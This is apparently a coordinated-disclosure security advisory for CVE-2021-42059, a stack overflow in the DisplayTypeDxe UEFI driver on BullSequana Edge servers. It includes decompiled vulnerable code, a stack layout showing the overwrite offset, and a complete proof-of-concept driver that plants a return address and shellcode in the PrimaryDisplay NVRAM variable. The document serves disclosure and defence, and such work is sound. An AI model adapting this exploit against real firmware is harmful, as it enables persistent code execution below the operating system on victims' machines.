[BRLY-2021-021] The stack buffer overflow vulnerability leads to arbitrary code execution in UEFI DXE driver on BullSequana Edge server.

February 1, 2022

Summary

BINARLY efiXplorer team has discovered a stack overflow vulnerability that allows a local priviledged user to access UEFI DXE driver and execute arbitrary code.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2021-021
  • CERT/CC assigned case number: VU#796611
  • Insyde PSIRT assigned CVE identifier: CVE-2021-42059
  • CVSS v3.1: 8.2 High AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected BullSequana Edge servers firmwares with confirmed impact by Binarly team

Package Driver name Driver MD5 File GUID
BIOS_SKD080.18.02.003.sign.tar.gz DisplayTypeDxe 581ff20fcd4307b0193fdc3eaa3898d0 A2760074-ED4C-4719-8382-C942CBF16D85

Potential impact

An attacker with local privileged access can exploit this vulnerability to elevate privileges from ring 3 or ring 0 (depends on the operating system) to DXE Runtime UEFI application and execute arbitrary code.A malicious code installed as a result of the vulnerability exploitation in DXE driver could survive across an operating system (OS) boot process and runtime or modify NVRAM area on SPI flash storage (to gain persistence on target platform).Additionally, this vulnerability potentially could be used by a threat actors to bypass OS security mechanisms (modify privileged memory or runtime variables), influence on OS boot process, and in some cases would allow an attacker to hook or modify EFI Runtime services.

Vulnerability description

Vulnerability exists in function located at offset 0xA20 in DisplayTypeDxe driver.

EFI_STATUS __fastcall GetPrimaryDisplay(_BYTE *res)
{
  EFI_STATUS result; // rax
  char PrimaryDisplayValue; // [rsp+40h] [rbp+8h] BYREF
  UINTN DataSize; // [rsp+48h] [rbp+10h] BYREF

  if ( !res )
    return EFI_INVALID_PARAMETER;
  DataSize = 0i64;
  *res = 1;
  result = gRT_2F28->GetVariable(
             L"PrimaryDisplay",
             &EFI_GENERIC_VARIABLE_GUID_2DE0,
             0i64,
             &DataSize,
             &PrimaryDisplayValue);
  if ( result == EFI_BUFFER_TOO_SMALL )
    result = gRT_2F28->GetVariable(
               L"PrimaryDisplay",
               &EFI_GENERIC_VARIABLE_GUID_2DE0,
               0i64,
               &DataSize,
               &PrimaryDisplayValue);
  if ( (result & 0x8000000000000000ui64) == 0i64 )
  {
    if ( (PrimaryDisplayValue & 0xFB) != 0 )
    {
      if ( ((PrimaryDisplayValue - 1) & 0xFD) != 0 )
      {
        if ( PrimaryDisplayValue == 2 )
          *res = 2;
      }
      else
      {
        *res = 1;
      }
    }
    else
    {
      *res = 0;
    }
    return 0i64;
  }
  return result;
}

The vulnerability exists due to incorrect use of the gRT->GetVariable() service:

  • after the first call to gRT->GetVariable(), the value of the DataSize local variable will be updated (DataSize will contain the size of the value of the PrimaryDisplay NVRAM variable)
  • after the second call to gRT->GetVariable(), the value of the PrimaryDisplayValue local variable will be updated (PrimaryDisplayValue will contain the value of the PrimaryDisplay NVRAM variable)
  • if value of the PrimaryDisplay NVRAM variable more than 1 byte, a stack overflow may occur, followed by execution of arbitrary code

Exploitation

Below is a section of the stack for the function under consideration:

...
+0000000000000000  r              db 8 dup(?)
+0000000000000008 PrimaryDisplayValue db ?
+0000000000000009                 db ? ; undefined
+000000000000000A                 db ? ; undefined
+000000000000000B                 db ? ; undefined
+000000000000000C                 db ? ; undefined
+000000000000000D                 db ? ; undefined
+000000000000000E                 db ? ; undefined
+000000000000000F                 db ? ; undefined
+0000000000000010 DataSize        dq ?
+0000000000000018
+0000000000000018 ; end of stack variables
...

The PrimaryDisplayValue is higher than the return address value (r), so we cannot overwrite the return address of the current function, but we can overwrite the return address of the parent function.

The state of the stack under debug is shown below:

Figure1
Stack address Description
0x7ea34c8 return address of the current function (0x662581f)
0x7ea34d0 PrimaryDisplayValue
0x7ea34d8 DataSize
0x7ea34f8 return address of the parent function (0x66253c8)

Thus, if the value of the PrimaryDisplayValue NVRAM variable is greater than 48 bytes, you can completely overwrite the return address of the parent function and execute arbitrary code.

Proof of concept

Below is the source code of the driver that we wrote to change the value of the PrimaryDisplay NVRAM variable.

#include <Uefi.h>
#include <Library/DebugLib.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/UefiRuntimeLib.h>

EFI_GUID gEfiGenericVariableGuid = {0x59d1c24f, 0x50f1, 0x401a, {0xb1, 0x01, 0xf3, 0x3e, 0x0d, 0xae, 0xd4, 0x43}};

/**
 * @brief The module entry point.
 */
EFI_STATUS
EFIAPI
SetPrimaryDisplayEntryPoint(
    IN EFI_HANDLE ImageHandle,
    IN EFI_SYSTEM_TABLE *SystemTable)
{
    EFI_STATUS Status;
    UINTN DataSize = 145;
    UINT8 Data[] = {
        // some data (40 bytes)
        0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
        0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
        0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
        0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
        0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
        // shellcode address on stack (return address for parent function)
        0x00, 0x35, 0xea, 0x07, 0x00, 0x00, 0x00, 0x00,
        // shellcode start
        0xb8, 0x18, 0xe0, 0x9e, 0x07, 0xba, 0x02, 0x00,
        0x00, 0x00, 0x4c, 0x8b, 0x40, 0x40, 0x4c, 0x89,
        0xc1, 0x41, 0xff, 0x50, 0x28, 0xb8, 0x18, 0xe0,
        0x9e, 0x07, 0xba, 0x31, 0x35, 0xea, 0x07, 0x4c,
        0x8b, 0x40, 0x40, 0x4c, 0x89, 0xc1, 0x41, 0xff,
        0x50, 0x08, 0xeb, 0xfc, 0x90, 0x90, 0x90, 0x90,
        0x90, 0x53, 0x00, 0x75, 0x00, 0x63, 0x00, 0x63,
        0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x66,
        0x00, 0x75, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79,
        0x00, 0x20, 0x00, 0x65, 0x00, 0x78, 0x00, 0x70,
        0x00, 0x6c, 0x00, 0x6f, 0x00, 0x69, 0x00, 0x74,
        0x00, 0x65, 0x00, 0x64, 0x00, 0x10, 0x00, 0x00,
        0x00};

    Status = gRT->SetVariable(L"PrimaryDisplay",
                              &gEfiGenericVariableGuid,
                              EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS,
                              DataSize,
                              &Data);

    DebugPrint(DEBUG_INFO,
               "Setting PrimaryDisplay variable: GUID = %g, Size = %08x, Status = %r\n",
               gEfiGenericVariableGuid,
               DataSize,
               Status);

    return Status;
}

/**
 * @brief Handles unload request of this module.
 */
EFI_STATUS
EFIAPI
SetPrimaryDisplayUnload(
    IN EFI_HANDLE ImageHandle)
{
    return EFI_SUCCESS;
}

After the value of the NVRAM variable is set, the DisplayTypeDxe driver will always execute the shellcode. In this case, the shellcode displays the message "Successfully exploited".

Figure 2

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date
CERT/CC created a case 2021-09-27
Insyde PSIRT confirmed issue 2021-09-29
Insyde PSIRT assigned CVE number 2021-11-03
Insyde PSIRT provide patch release 2021-11-09
BINARLY public disclosure date 2022-02-01

Acknowledgements

BINARLY efiXplorer team

References

Tags
UEFI